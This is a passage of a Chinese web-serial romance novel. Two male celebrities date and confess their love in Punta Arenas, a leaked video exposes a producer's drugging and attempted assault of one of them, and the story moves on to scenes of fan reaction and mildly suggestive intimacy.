他难得有这样懵懂的样子,陆屿洲忍不住伸手按了一下他头上的呆毛:“乌斯怀亚。” “你拿我当小狗呢,”季沨起身看了眼旁边狭小的窗口,万米高空,下面是全是一块蓝一块绿的,“这你都能看出来什么地方?” “看得多了自然就记住了。” 陆屿洲手一松,那两根头发立刻又立了起来,他没忍住,抬手又按了一下。 一回神,果然看到季沨目光不善的眼神。 “没有……不是,”陆屿洲火速收手,“不是小狗。” 这样解释了还不如不解释,陆屿洲老老实实站到一旁闭嘴,季沨突然踮起脚,猛地伸手在陆屿洲的头发上揉了一把,他才没有陆屿洲那样怜香惜玉的顾虑,陆屿洲早上花了半个小时精心打造的发型彻底报废,始作俑者却还得意洋洋:“哦,那你是小狗。” “季……” 陆屿洲的眉还没来得及皱起来,就被人贴在耳边,语气撒娇一样:“陆老师,我饿啦。” 这还能怎么办? * 早饭因地制宜做了海鲜粥,旁边放了一盘圣女果。 他们彼此对昨天那颗圣女果发生了过什么心知肚明,季沨微一挑眉,陆屿洲立刻道:“飞机上只有这几种水果。” “我又没说什么。” 季沨这样说,白皙的指尖却故意在殷红的果实上磨蹭。 陆屿洲眼眸渐深,目光锁定季沨修长脆弱的脖颈:“季沨,我好像想起来我在什么时候说过那句话了。” 季沨手指一顿,便听到陆屿洲问:“你这两天应该都没有工作吧?” 这两句话加在一起总有些不太美好的联想,季沨火速将那颗小番茄扔进嘴里不说话了。 广播里传来下降的消息,飞机滑翔完,季沨这才解了安全带。 这里虽然设施很好,但终究没有外面空气舒适,正要下去,陆屿洲突然不知从哪里翻出来一件风衣,在季沨出门之前,一把裹在他的身上:“下面风大,穿厚一点。” 他细心地帮季沨整着领子,手指不经意间擦过季沨的脖颈。 “我带了风衣。”季沨说。 “我知道,”陆屿洲弯下腰,替他扣上风衣上的系带,“但是我喜欢你看你穿我的衣服。” “那你好歹找一件洗过的给我,这上面怎么还有香水味?” “我把香水喷在了衣柜里,”陆屿洲圈起的手指从丈量过的腰身滑过,隔着风衣布料轻轻一握他的腰身,“季老师送我那么多带着香水的领带,我送你个风衣怎么了?” 语气听起来像是控诉,手指却牵起季沨的手,拉着季沨将两人交握的手塞进自己的风衣口袋:“慢一点,小心楼梯。” 他的语气动作太过自然,不过季沨还是试图抽了一下:“外面……” “这里没人认识我们,”陆屿洲说,“我没让潘叙他们跟过来。” 季沨转头看他。 “潘叙说今天的任务是分手重逢约会,我跟他说我们不需要节目组跟着,我自己拍点素材给他就行了。” “他同意了?” “他不同意,”陆屿洲说,“不过B市没有直达这里的航班,他应该追不上我们。” 季沨忍不住笑起来:“所以……现在就是重逢约会?” “当然不是,我们又没有分手过,”陆屿洲捏捏他的手指,煞有介事地强调: “这只能算是约会。” 都没有在一起就能算是约会吗? 不过季沨并没有揭穿这个言辞上的漏洞:“那我这次可没有准备礼物。” “你什么都不用做,是我带你约会。”陆屿洲眉眼生动,带着季沨下了楼,“当然是我给你准备礼物。” 一出门,热烈的阳光便涌上来,几乎每个刚刚踏上这片土地的人都能感受到汹涌而来的风,风衣在身后高高扬起,季沨鬓发散乱,刘海被掀上去,露出光洁漂亮的额头。 季沨忍不住微微眯起眼睛:“这是哪里?” “跟我过来。” 陆屿洲牵着他的手往前走,周围是风格各异的漂亮房子和雕塑,广场上可以见到鸽子飞舞,这里的天很蓝,好像是海面印在了穹顶,呈现出近乎玻璃般的漂亮质地。 城市不大,转了两个街道就找到地方,海岸边树立着一个路牌,旁边是不同的花花绿绿的路标,带着各种不同的文字。 季沨勉强辨认了一番,木牌上好像是各种城市和距离: “CUAYAOUTL 7700KM3” “ZALALA 9585 KM” “QUEBEC 11075KM” “看这里,”陆屿洲点点手指,季沨望过去,便在上面看到,“BEIJIING 12961KM” 那是他们所在的地方到这里的距离。 “智利的蓬塔阿雷纳斯,位于麦哲伦海峡的边缘,南美大陆的尽头,号称是世界上最远的城市,”陆屿洲直到这个时候才开始重新介绍,他在路牌边站定,轻声道,“不过……它还有一个名字。” “什么?” 季沨转过头,听到陆屿洲道:“风城。” 海风吹起陆屿洲的鬓发,连带他身上的黑色风衣一起向后扬起,他好像特意穿了同款,和季沨站在一起,好像是长身玉立的一对恋人。 那么一瞬间,季沨好似突然明白了陆屿洲之前为什么能在不看任何地图的情况下如此熟练地报出地点。 因为那些城市,无一例外,都是临海,山谷,四季多风。 “找不到你的时候。” 陆屿洲轻声道:“我想过了地图上所有你可能出现的地方。” 从一个大陆到另一个大陆,跨越重洋来到世界尽头。 “终点,就是这里。” 第54章 第五十四章 陆屿洲说得没错。 蓬塔阿雷纳斯的风确实很大, 长发扫了一点在脸上,风一吹就要迷眼睛。 季沨一只手插进口袋,另一只手却被陆屿洲紧抓在手心, 隔着风声回望他,和那双澄澈的琥珀色的眼睛里, 自己小小的身影。 季沨不知道他想了多久,才能在不看任何地图的情况下熟知航线, 于是轻声询问:“看了很多遍吗?” 一只手被陆屿洲扣在掌心, 季沨伸出另一只手摸了摸他的头发:“不好意思, 让我们陆老师担惊受怕了。” 他的语气那样温柔,陆屿洲这些天, 连被陆程易听不出名字的时候都一言不发, 却在这个时候偏过头去。 “看着我。” 季沨轻轻地将他的脸给扳了回来:“昨天不是我还说……” 有风扬起他的鬓发, 季沨的身后是无数海鸥翻飞的广场,笑容被阳光打得发亮:“我笑起来很好亲吗?” 陆屿洲呼吸一滞,扣紧的手指紧了紧,猛地扯着他进了旁边的店铺, 玻璃门砰一声被关上。 四面都是玻璃, 只旁边一台装饰书架,季沨被他陆屿洲压在那张书架上,一只手扣着他的后脑, 深深地吻了上去。 如果情不自禁就可以自由发挥的话,那他早就难以抑制了。 桌下交错的双腿, 睡觉时紧挨着的房间, 伸出又缩回的手, 还有风衣系带时偷偷丈量过的腰。 陆屿洲的唇舌长驱直入,微红的眉眼低垂着, 好似要将这些天难耐压抑尽数发泄,季沨被他吻得有些喘不过来气,脖颈不由自主微微上扬,却被陆屿洲更紧地捞进怀里,一只手穿到风衣下,细细摩挲那劲瘦的腰身。 “季沨……”等到季沨已经被吻得晕晕乎乎,陆屿洲这才将人放出来换气,语气沙哑,“我真的……” 他的手指正要往下滑,周围突然传来一阵口哨声。 季沨一转身,看到后面站着一排起哄的人群。 “那个,”陆屿洲现在也对大庭广众之下表演接吻这件事不是很适应,伸手摸摸鼻子,“之前想带你体验当地生活来着,没有包场。” 这里头似乎是个开放式的餐吧,见到他们,原本吃着饭的人都齐刷刷站起了身。 “不用害羞,哥们,你男朋友很漂亮!” “再来一个!再来一个!” “芜湖~” 不知道是谁开始起哄,周围突然有人拍着巴掌唱起了歌,硬是要陆屿洲跟季沨再来一个。 陆屿洲耳尖涨红,却又不是很想错过这个机会,求助似的看了季沨一眼,立刻被季沨勾着脖子又吻了上去。 反正异国他乡没有人认识,两个人藏在书架上放肆接吻,上面的装饰书掉了一排没有人在意。 有人唱歌,有人围着他们跳舞,邀请他们参加晚上的集会,季沨吃着当地的帝王蟹,旁边的盘子里是陆屿洲给他剥好的蟹肉。 这人擦擦手指,跟人要了把吉他跑上去给季沨弹琴。 晃动的灯光映着他的侧脸,季沨坐在台下,抬眸注视着陆屿洲的身影。 他这个长相即使在不是明星的国度也依旧扎眼,陆屿洲只是离开了一首歌的时间,便有人走到季沨面前试图搭讪。 陆屿洲赶紧把吉他一放跳下台来,像个护食的小狗一样将季沨挡在身后:“不好意思,他有男朋友。” 他这话说得僭越,说完立刻望了一眼季沨的神色,却发现这人没听见他的也没听见刚刚那位搭讪的,似乎是在走神。 陆屿洲立刻在他的身边坐下来,敲敲桌子把季沨的脸掰过来:“想什么呢?” “我在想……”季沨转过头,脸上还带着一点笑,“如果我们五年前没有分开,是不是也是像现在这样?” 许是刚刚回神,他的笑意很淡,是陆屿洲昨天刚刚指责过的,不太诚实的笑容。 于是陆屿洲伸出手,将他的嘴角给重新推了上去。 季沨那张漂亮脸蛋被胡乱摧残,刚要皱眉,便听到陆屿洲道:“那当然不是。” 语气太过果断,季沨微一挑眉,便听到陆屿洲继续道:“那时候我刚跟我爸妈闹翻,连旅游的钱都没有,哪来的直升飞机呢。” 季沨笑了起来,陆屿洲继续说:“不过应该可以给你送早饭。” “嗯?” “如果我们五年前就在一起,我应该会在美院,你在影大,你大三的时候我刚刚大一,上早八的时候就提前起床给你送早饭。” “你爱喝三食堂的豆浆,但是他们家的煎饼却不太喜欢,那也没有办法,”陆屿洲叹了口气,“只能我跨越半个校园给你重新买煎饼了。” 季沨心脏微微一颤,这些细碎的小事自从他出道之后就很少在节目里讲,唯一的可能是季沨还在团里的时候,派发给每个人拍校园Vlog的任务。 尚且二十岁的季沨还穿着卫衣牛仔裤,脖颈上挂着耳机,脸上还带着些青涩稚嫩,不知道说些什么,只好将学校的食堂都给介绍了一遍。 镜头里还有人乱入,顶着Vlog的镜头给他递表白信,叫他—— “学长。” 陆屿洲在他耳边唤了声,一只手举着相机,执行节目组的记录任务,季沨的侧脸旁是跃动的篝火,听到陆屿洲说:“可以跟我在一起吗?” 他重复当初在Vlog里男生的话,好像真的曾经在校园里相遇过,骑着单车跨越大半个学校,陆屿洲将剥好的虾恭敬地递给季沨:“我给你带早饭。” 季沨轻轻笑了起来:“那你要我配合着说一遍当初的台词吗?” “不要。” 自然是拒绝了,不然现在还有他什么事,陆屿洲还没有听到自己的答案,才不要重复别人的:“我不听。” 季沨却望向Vlog镜头:“我当时说……” “不许说,”一只手捂住他的嘴巴,陆屿洲将相机往下一放,“我都说了不听了。” “我说……” 季沨一开口,热气便扫在他的掌心,拿起一只虾放进陆屿洲嘴里,“一起吃吗,学弟?” * 凌晨五点准时被叫醒,陆屿洲不知道从哪里弄来的一辆车,要带着季沨去海边。 “找个四季有风的地方,买一套小房子,跟当地人一样吃饭逛街压马路,半夜开车看日出。” 他们谁也没有提起这次的旅行计划,却默契地按照这个方案完成。 车子发动,陆屿洲抬手替季沨系上安全带:“路上还要一段,你再睡一会儿吧。” “不睡了,”季沨打了个哈欠,眼眶湿润摇摇头,“我陪你聊会儿天吧。” “好。” 陆屿洲说了不让季沨费心,连聊天都主动找话题:“其实我不是第一次来这里。” “是吗?” “嗯,”陆屿洲点点头,“你知道我为什么要回国吗?” 季沨很配合,坐直身子乖乖问道:“为什么?” “半年前我跟着一个团去南极追极光,”陆屿洲指了指前面的海岸线,“跨过这一片,前面就是南极了。” “蓬塔阿雷纳斯,是去往南极之前的最后一个城市,一直被当作南极的补给站。” “可惜我们没有追到极光,只遇到了狂暴天气,差点被埋在雪里回不来。” 季沨想象了一下当时的场景,捏了捏陆屿洲垂在身侧的指尖:“害怕吗?” “还是有一点的吧,”陆屿洲笑了下,“当时差点以为自己要死了,最后被救援队带回蓬塔,那天晚上——” “我就走在这条路上。” 他说着拐了个弯,有零星的灯火在街边亮起,像是散落的星子:“有一家人在我们面前抱在一起哭。” “那个时候,我突然想给谁打个电话。” “但是我妈妈那边有时差,应该还没醒,我爸……大概率正在海上,接不到电话。” 季沨把他手指握住他扣在了掌心。 “所以我就在想,”陆屿洲反手更紧地握住他,“如果我那时候真的死了,我能留下什么呢?” “我这辈子做过的什么事,是自己真正喜欢和想要的吗?” “他们都说,模特是设计师灵魂的载体,”陆屿洲轻轻地笑了下,“可能是从那个时候开始,突然想找一找自己的灵魂吧。” “其实当时还是有些忐忑的,即便是回了国,也很难说清自己想要的是什么样一种感觉。” “直到……我遇见了你。” 车子在海岸线旁停下,陆屿洲转头望向季沨。 半年前,隔着宴会的重重人影一眼看到的季沨,绚丽夺目的季沨,手中握着酒杯,黑色蝴蝶在他指尖燃烧。 一刹那,陆屿洲想要的灵魂突然有了具象化的展现。 “我现在才意识到,”陆屿洲望着季沨的眼睛,轻声道,“季沨,” “我对你,应该是一见钟情。” 他花了那么久终于理解了当初的感情,用了五天的辗转反侧来告诉自己永远不要再放手。 一点晨曦沿着海岸线升起来,让周围染成一层油画般的微醺,陆屿洲将季沨的手拉至唇边,轻轻地吻了一下:“前两天联系不上你的时候,我想了很多。” “只要想一想要去哪里找你,我都要快要把地图背完一遍了。” “上一期的那句话,我现在可以回答你了。” 陆屿洲注视着季沨的眼眸,一字一句认真道: “我喜欢你,季沨。” “不是因为节目组的任务的喜欢。” “不是想做床伴的那种喜欢,也不是想做朋友的那种喜欢,而是……恋人的喜欢。” “想知道你的全部,想参与你的生活,想让你待在我身边。” “想把那个电话……打给你。” 太阳完全升起来了,跨过海港吹来的风扬起他们的头发,金色的光晕映在陆屿洲的侧脸上: “你送的手表是我长大后第一次在那个生日收到的礼物,我很喜欢,想了很久的回礼——” “我在这里买了一套房子。” “从蓬塔阿雷纳斯到大理,以后每年的那个日子,我都在沿岸挑一套。” “等到从这里回到家,我们就退休。” 他说的是“我们”而不是“我”,是买不是租,手指扣得很紧,好像是要将两个人融在一起。 好像两个孤独太久的灵魂终于有了可以停泊的地方。 “我陪你散步、逛街、看日出,也给你带早饭,唱歌给你听。” 季沨偏头看着陆屿洲的面容,迎着光,南极的洋流穿过蓬塔阿雷纳斯,在他的心里掀起一阵嘈杂的风。 “季沨,”陆屿洲叫他的名字,轻声询问:“那些房子,” “我可以写你的名字吗?” 第55章 第五十五章 晚上八点, “天喵卫士”准时开了直播。 他戴着一个硕大的方块头套,处理过后的电流声隔着屏幕传过来: “哈喽,大家久等了。” “相信大家都知道了最近沸沸扬扬的二字事件, 关于之前的酒店门,刚好我有一位朋友, 想要跟大家分享一下自己的剧组生活。” 他从手中拿出了一张皱巴巴的,看样子已经废弃的通告单。 “明光圣豪酒店, ”天喵卫士点点那张通告单上的名字, “是这里没错吧。” “我记得季沨进的是哪个房间来着, ”天喵卫士状似寻找,却将那张通告单上的字缓缓读了出来, “明光圣豪酒店503室:余夏醉酒后刷错酒店的卡, 却正好碰到已经躺在床上的赵逢春。” 而赵逢春, 正是季沨在其主演的电视剧《仲夏不知春》里的名字。 “很显然,这张通告单跟我们后来看到的不太一样,而且,它甚至没有发到摄像和灯光的手上, ”天喵卫士道, “而且,原本该是醉酒进入这个房间的女主角变成了当时的监制刘庚。” “这说明什么呢,要么是季沨跟刘庚悄悄约不太满足, 非要兴师动众地搞这么一出冒着可能暴露的风险提升情趣,要么……” 天喵卫士缓缓展开那张纸, 让人将当时男主的装扮要求跟季沨进入房间的装束进行对比:“就是有人谎称这是要拍戏, 给了当时的季沨一张假的通告单, 偷偷将故事里的女主换成一次,意图强行……” “抱歉, 现在男性跟男性之间也是可以立法的,对吧?” “当然,我这么说你可能不信,这么多人等在直播间,当年要给姐妹们上上强度。” “抱歉,刚好有一位不愿意透露姓名的网友发给我一段视频,那就交给大家共赏一下。” 直播间很快被投屏所取代。 酒店一般不会在房间里装摄像,但或许是某个人恶劣的情趣,又或者是国家假装布置的道具忘记了这里还放着一个微型摄像头。 正在闪烁着的红光完整地记录了季沨进入房间的过程。 以及早在季沨进入之前就等在那里的导演:“风风你先在这里待一会儿,我去看看女主现在怎么还没来,派人去接一下他。” 他说着,替季沨拉上了大床房情趣似的帷幔:“你可以试试先找找感觉呢?” 而他走后,房间里,季沨原本正坐在沙发上,将手中的杯子放下,但仅仅半分钟后,他整个人就像是呼吸不畅一样,胸口急促起伏,忍不住解开了衬衫的两颗纽扣。 不过短短几分钟的时间,原本披在身上的风衣已经不见了踪影,季沨整个人几乎是瘫软在桌子上,漂亮的脸上满是潮湿的水汽,手指终于撑不住滑落了下去。 就在这时,咔嚓一声,有人推开了门—— 刘庚那张脸出现在门口,笑容中似乎还能看到脸部褶皱的起伏,痴迷地欣赏着季沨挣扎的模样。 镜头清晰地映出了刘庚朝着季沨步步靠近的样子和季沨在这时的抗拒挣扎。 季沨漂亮且失神的眸子像是一朵罂粟花,没有人能抵抗这样的诱惑,刘庚的手已经搭在了自己的皮带上,就在要碰到季沨那一刻—— 原本已经完全脱力的人突然猛地起身,抓着桌上的花瓶朝着刘庚的头重重地砸了下去,白瓷花瓶碎了一地,刘庚的头上迅速涌出鲜血。 虽然成分不明,但是看到这里,直播间里的所有人几乎都下意识松了口气。 岂料被下了药的季沨没有什么力气,刘庚不仅没有晕过去,反而像一条被激怒的恶狗一样朝着季沨扑出来,手指在季沨的脖颈上抓出一道红痕。 好在从小摸爬滚打的经验给了季沨极佳的反应能力,季沨偏头一躲,倚着矮柜站直身体,在刘庚扑过来的时候一脚踹了过去——正中红心。 季沨这一脚几乎用尽了所有的力气,刘庚很快捂着不中用的那里惨叫了起来,就在想要往后退的瞬间,季沨反手抄起背后的吸尘器,又是一下重重地砸在刘庚的脊背上,养尊处优的身体根本经不起这样的接二连三的打击,刘庚肥胖的躯体撞在了吧台上,上面的酒晃了一下,噼里啪啦地砸了他一声。 季沨趁着这个机会,迅速拉开门—— 戏服解开,发丝凌乱,脖颈上带着红痕。 跑了出去。 弹幕沉默了一瞬。 那一刻,连带着正要屠着广场的黑粉都停了。 这种画面远比任何解释,任何语言,都更具有冲击力。 已经不需要天喵卫士再说什么了,这几乎是一个人人都可以得出的真相—— 两年前,季沨在拍摄《仲夏不知春》期间,被自己的监制性骚扰,打着拍戏的幌子让意图侵犯,在季沨反抗之后,删了他两部戏里,作为男主的所有高光戏份。 这两部戏因为季沨的脸成了爆款,却也因为断裂而不知所云的演技,让他从此背上了花瓶的名号。 天喵卫士的最后总结: “季沨所经历的一切,并不是简单的娱乐圈的潜规则,而是所有人都可能面临的侵犯和职场霸凌。” “这个行业里不是没有优秀的人,也不是没有优秀的作品,只是他们都被埋没了,被这些恶心的混蛋所埋没,被我们所以为的规则所埋没,被这个世界上的忽视所埋没。” “如果我们今天对这种事情袖手旁观,如果我们用自己的恶意去曲解,那么以后只会有越来越多的受害者被淹没下去,一个顶流都能被这样污蔑,更何况是我们普通人?” 一石激起千层浪,天喵卫士的这段话很快被无数人争相转发引用,当初站队对家的那些大v迅速删文道歉,季沨那些被忽视的演技和专业再一次引爆了话题。 #季沨遗落的演技集锦# #季沨顶流实力# #季沨从未对不起事业# #职场霸凌在任何地方都可能存在# 就在这时,在星图已经解约之后,一个新的名为季沨工作室的账号突然通过了官方认证,发布了他的第一条图文: “季沨先生所出入的所谓豪宅均为工作室拍戏时临时工作所用,以下为租赁合同,对于网络上的近期造谣与伤害,我们将保留为季沨先生追究名誉的权利。” 所有的谣言彻底消弭,季沨再一次站在风口浪尖,这不过这一次——全是正面。 当初的跟风吃瓜与谩骂,在真相揭露之后只会加重众人的愧疚心理,不少人开始对季沨路转粉,甚至主动购买周边和代言。 不只是关注娱乐圈的这部分,连各个专家学者都开始下场,从“职场霸凌”“性侵犯”“行业生态”“舆论引导和大众传播”等各个领域分析此次事件。 华世公司为了撇清关系,当即宣布已经终止刘庚的一切职位,但即便如此,依旧难以挽救骤然下跌的股票。 警方发布通讯,声称已经以“□□罪”对刘庚进行逮捕,只是在逮捕的时候,发现刘庚不知从哪喝醉了躺在小巷子里,身上全是遍布的伤痕,嘴唇颤抖,整个人跟疯了已经差不多。 如果季沨之前只是一个脸长得好看广告牌上出现较多的明星,那么此次过后,他将作为各大教科书的经典案例,成为真正的,家喻户晓的断层顶流。 人群沸沸扬扬里,季沨当初在节目中solo的舞蹈视频终于放出来了—— 足足忍受了卓超长达三分钟的,脑袋撞地,全身中毒,中毒癫痫和电击倒地之后,人们终于得以见到了那天的季沨。 他除了一身镶碎钻的银灰色衬衫,因为今天要做评委,还在眼皮下点了些亮片,灯光一晃,季沨的手腕从腰身提到肩头,脚步一晃,朝着镜头眨了一下眼睛。 那一瞬间,所有人的心中都只有一个念头—— 如听仙乐耳暂明。 拿季沨的舞技和卓超比简直是迫击炮轰老鼠,你都要担心那中毒发癫的老鼠可能会污染了炮筒。 季沨的舞蹈是一种完全的享受,在小鲜肉们已经开始卷人设和妆造的年代,他几乎没用什么太浓的妆,连笑容也是一直风流轻佻的模样,那把细腰好像是在舞台上展开的薄刃,手臂一展,好似在暗夜中划开了第一刀,舞台的光适时地打下了季沨的身上。 月光折柳,季沨腰身一动,镜头迅速拉近,季沨的手指从脖颈擦过心口,猛地一挺胸膛。 衬衫领口因此绷得更开了些,隔着屏幕都能感受到台下的尖叫,季沨好似已经习惯了这样的目光,手指抚了抚耳麦,长腿在台上滑了两步,便晃边跟唱了两句。 这个舞在圈里不少人都跳过,但是从未有一个人如同季沨这样,跳得漂亮又色气,他好像天生就属于这个舞台,连那因为用力而比平常低了一度的声音都像是在调情。 节拍进入副歌,季沨腰身晃动如同海底的妖,修长指节从腰身一路抚到锁骨,脖颈微一后仰,汗水沿着胸口沟壑滴落,随后猛地抬头,两手并起做出开枪的动作,手指蝶翼般扇起,细腰扭动,镜头伴随着动作,一路从敞开的胸口定格到艶丽的嘴唇,季沨唇角一勾,跟着音乐一起,眼睛一眨手腕一抬—— 砰! 正中心脏。 屏幕前的人捂住胸腔,好像是跳动的心脏好像真的因此被中了一枪,流出滚烫汹涌的爱意来。 【啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!】 【啊啊啊啊老婆我死了我死了我死了啊啊啊啊!!!】 【谁在说我们风风是花瓶呢,谁再说我们风风是花瓶呢!有人见过这么能打的花瓶吗!有人见过这么帅的花瓶吗啊啊啊!!不行了不行了我要吸口氧,我感觉我要晕过去了!】 【老婆的腰不是腰!夺命三郎的弯刀!老婆的腿不是腿!塞纳河边的湖水!!】 【感觉梦回当初刚追星的时候,我要路转粉了啊啊啊】 季沨的微博粉丝在短短一天的时间暴涨大几百万,一跃成为当之无愧的内娱第一顶流。 粉丝在微博上一阵号啕,纷纷嚷嚷让恋综快开直播等着见人。 潘叙的越洋电话打了四个,两个给季沨两个给陆屿洲,可惜都无人接听。 说不清是谁先开始的,他们两个人开始这种事仿佛也不需要什么特别的时机和理由,西装被扔到一边,盖住了还在震动的手机。 长裤褪到一半,陆屿洲沿着裸露的地方往上摸:“季沨,我看过你在节目上的那个舞。” “是……是吗?”季沨声音有些低,胸.膛因为陆屿洲的动作而起伏,车厢狭小,他只能被迫坐在陆屿洲的腿上,这个姿势不太有安全感,手指紧抓着他的肩膀,“你……怎么看到的?” “那天和初禾一起在秀场,他说如果我真的不清楚什么叫喜欢,就看看你的照片再决定。” 比起季沨,陆屿洲看起来要从容得多,全身上下只解了一个皮带,微一不堪大概只有此刻盯着季沨的视线:“然后……我就从江沼那里看到了那个舞。” “所以……什么感觉?” 季沨额前的发变得有些潮湿,连眼尾也是红的,嘴唇张开微微后仰,他在台下比台上更能勾人。 可惜这个样子,只有自己能看见。 陆屿洲眼眸渐深,忍不住收紧了手指,握着他的腰身猛地拉近:“季老师,” 季沨瞬间失声,却能听到陆屿洲贴在他的耳边,呼吸分明,恶劣道:“我当时的感觉……” “现在不是正在实现吗?” 第56章 第五十六章 等到两人都已气喘吁吁打道回府, 才终于想起了被遗落在角落的手机。 陆屿洲说他要去做饭,季沨百无聊赖开了机,屏幕刚刚亮起, 就有铺天盖地的消息朝着他涌过来,以季沨现在的热度和身价, 光是抢他这次反转后首秀的都能把短信给挤爆,开得价一个比一个高。 季沨正忙着拒绝:“喂, 王导啊?” “评委, 是, 当时是签了合同,不过您当时是跟星图签吧, 我现在都已经解约了。” “是是是, 我知道这么不太好, ”季沨的手指勾着旁边的一株吊兰,百无聊赖道,“不过……你当初看到卓超放我的黑料,冷眼旁观等着给节目攒热度的时候, 好像也没有问过我这件事好不好吧?” 季沨这个人并非不记仇, 也实在不是什么好脾气,他不管做什么,都喜欢一击必中, 感情和报仇都是这样。 跟刘庚的仇都能等了两年才翻出来,对付卓超这种就更不用说了:“想要我回去也可以啊, 您一个字一个动作都不要剪, 把卓超的全部表现完完整整地放上去。” “包括……卓超是如何利用父母的关系, 找你要了这个名额,并且一路挤掉其他演员, 保送到晋级赛的。” “您跟他父母怎么交代?那是您自己的事情,跟我又有什么关系,”季沨轻蔑地笑了一声,“哦,倒是有一件事跟我有关系,我微博现在热度可还新着,如果我现在发一条说您在我第一次成为众矢之的的时候选择冷眼旁观,不顾协议任由选手污蔑导师,并终止跟您后续的一切合作,你猜这个节目现在会怎么样呢?” 季沨的语气轻飘飘的,却像是一把利刃搅得人寝食难安,挂了一个又接起另一个:“喂,肖导啊?” “什么时候复工?我倒是很想回剧组跟大家见面的,只不过……”季沨拧起眉,装模作样地咳嗽了一声,“你也知道,前些天那么多评论,我这个人心理承受能力弱,这两天还在病着呢。” 他一边说,一边拿起桌上的小番茄丢了一颗进嘴里,一只手按了静音,好整以暇地听着肖诚在那边说着赔罪的话。 番茄还没咬开,肩上突然被披了一件风衣,陆屿洲的手指伸进季沨嘴里,才那颗番茄给拿了出来:“咳嗽了别吃凉的,等会儿煮个雪梨汁给你喝。” 季沨抬眸望着他,明明是敷衍肖诚的话,似乎只有他一个人会当真,手指在季沨的额头上碰了碰:“这里风大,我不该,咳,”陆屿洲做的时候凶得要死,这时候却又偏过头,“不该让你光着在车里……” 他的表情看起来莫名的可爱,季沨忍不住在陆屿洲那张雕塑般标准的脸上戳了一下。 陆屿洲琥珀色的眼睛都放大了。 好像更可爱了,季沨忍不住笑起来:“没事儿宝贝儿,”他抓了一把小番茄递给陆屿洲,伸手拍拍他的脸,哄小孩子一样,“自己拿着吃会儿,你在这儿影响我发挥了。” 陆屿洲对此愤愤不平,却又不怕影响季沨工作,等他去了厨房,季沨立刻换了一个神色,眉眼一挑,似笑非笑地听着: “……除了这些,这次片酬可以再给你加两个点,你看可以吗?”第一次见面的时候,还是季沨弯着腰给他们敬酒,现如今已经需要肖诚哄着,“你之前拍的片段,杨导喜欢得不得了,正盼着你回来咱们好进行下一阶段呢,这次的地方山清水秀的,也方便你养病不是?” “片酬不片酬的倒是无所谓,”季沨的手指点在沙发上,“你也知道,这次剧组的试戏片段都能泄露出去,作为演员,我是真的很担忧。” 肖诚心里咯噔一声,还是笑着打哈哈:“是两个实习生经不住诱惑,你放心,我已经把他们都开除了。” “真的只是实习生吗?”季沨靠在沙发椅背上,慢悠悠道,“上次我威压出事也实习生,这次试戏泄露也是实习生。” “可我怎么记得,我们试戏的时候,现场除了我和你,陆老师,杨导,郁容,剩下的就是陈导了吧?” 季沨把玩着沙发上的流苏,才发现上面的挂饰不知道什么时候被人揪掉了一个,似乎是某些人心绪烦乱干的,他轻笑了一声:“所以,不然我们一个一个地排除,是我?是你?是杨导?陆老师?还是……陈业?” “帮我跟杨导带句话,”季沨听着那边的沉默,“ 我不管杨导之前跟他念不念旧情,但是我没有,为了我自己的安全着想……” “我回到剧组之后不想见到陈业。” “而且,不要偷偷摸摸的,我要剧组出具解约合同,发在官方账号上。” 这几乎是明摆着告诉众人这次的事件就是陈业做的,肖诚正要说什么,季沨已经捂着肺腑又咳了两声,随后,啪得一声挂断了电话:“不然,我这个病,应该是养不好了。” “处理完了?”陆屿洲将红糖姜茶端出来,“喝了。” “我真没病。” “嗯,”陆屿洲点点头,“我知道。” “我想照顾你,”他坐过来,将季沨抱在怀里,把那碗姜茶吹凉了喂给他,“我这段时间总是后悔,以前每次做完怎么能把一个人扔在床上。” “所以现在终于有机会,能不能给个机会,”陆屿洲在他的颈侧蹭了蹭,“季老师?” 季沨对他的撒娇从来都没什么办法,咬着勺子喝了一口,姜味直冲大脑,果然是秀色可餐,继之前在节目上喝了青瓜汁之后,季沨又一次咽下了之前碰都不会碰的东西,只喝了两口便推据道:“不喝了。” 陆屿洲便放下来,就着季沨那把勺子喝了两口。 季沨一抬眼,有些意外地看了陆屿洲一眼:“你不是洁癖吗?” “嗯,”陆屿洲点点头,在季沨的目光移到他手上的勺子时猛地朝他亲了一口,“对你没有。” 他的嘴唇含着季沨的嘴唇,将薄唇上沾着的一点姜汁给舔舐干净了。 季沨伸手推开他的胸膛:“可我怎么记得,我还没有同意。” “我知道,”陆屿洲表示赞同,“我在追你。” 他说完,又问:“但是追你的时候不可以接吻吗?” 是以往的那种询问的,礼貌的语气,季沨微一挑眉:“不太好吧,我没听说过。” “但是我们见的第一面就在床上了。” 陆程易说得对,恪守别人的规则,就是在惩罚自己,陆屿洲抬起眼睛:“我想亲你,”他这回再也不问可不可以了,“季沨,我要亲你。” 这是个通知不是询问,说完这句话,沙发被压出褶皱,陆屿洲便揽着季沨的肩吻了上来,口腔里剩下的那点细微味道都被掠夺,季沨一开始任由他胡作非为,却在陆屿洲即将退出的时候,舌尖碰上他的舌尖,轻轻地勾了一下。 一点黏腻的声音从喉咙中泄出,这个动作无异于火上浇油,衣服被褪到肩头,陆屿洲更紧拥着他吻上来,手指紧扣季沨的肩头,几乎找不到呼吸的间隙。 叮铃铃——叮铃铃—— 旁边的手机响个不停,季沨只好睁开眼睛看了眼——是赵成良。 没人能想到那个房间里能有摄像头,季沨现在漂亮翻身一跃成龙,当初趁着他危难之时背弃解约的老东家自然成了众矢之的,尽管赵成良已经使尽了浑身解数去挽回,股价还是一跌再跌。 这种局面,除非季沨自己开口,不然星图几乎要被钉死在黑心背刺公司的耻辱柱上。 粉丝担惊受怕,路人被玩弄,都正愁一腔怒火找不到发泄的地方,星图的微博和各种代言都要被他们冲烂了。 利益最大,赵成良当初甩了杯子扬言要毁了季沨,此刻却只能灰溜溜地自己粘好了来求季沨。 可惜季沨还没来得及挂电话,另一只手便接了过来,没有任何人一人能接受亲到一半被打断,更何况他手都伸进怀里了,陆屿洲咬牙:“季沨现在没空理你。” “以后也没空,不是都说了解约了吗,你公司关他什么事。” “我是谁?”陆屿洲一只手抚在季沨的肩上,很像个恃宠而骄的小情人,恶狠狠道,“我是他的追求者。” 说完这话,陆屿洲便把电话一挂按了关机,心中长长舒了一口气,他生平第一次试图参与季沨的生活,刚刚对着赵成良的气势在转向季沨时瞬间变得底气不足。 像一只只会对着外人龇牙的小狗,遇到主人的时候还要担心刚刚的样子是不是会吓到他,声音也软了几个度:“你觉得我刚刚太凶了吗?” 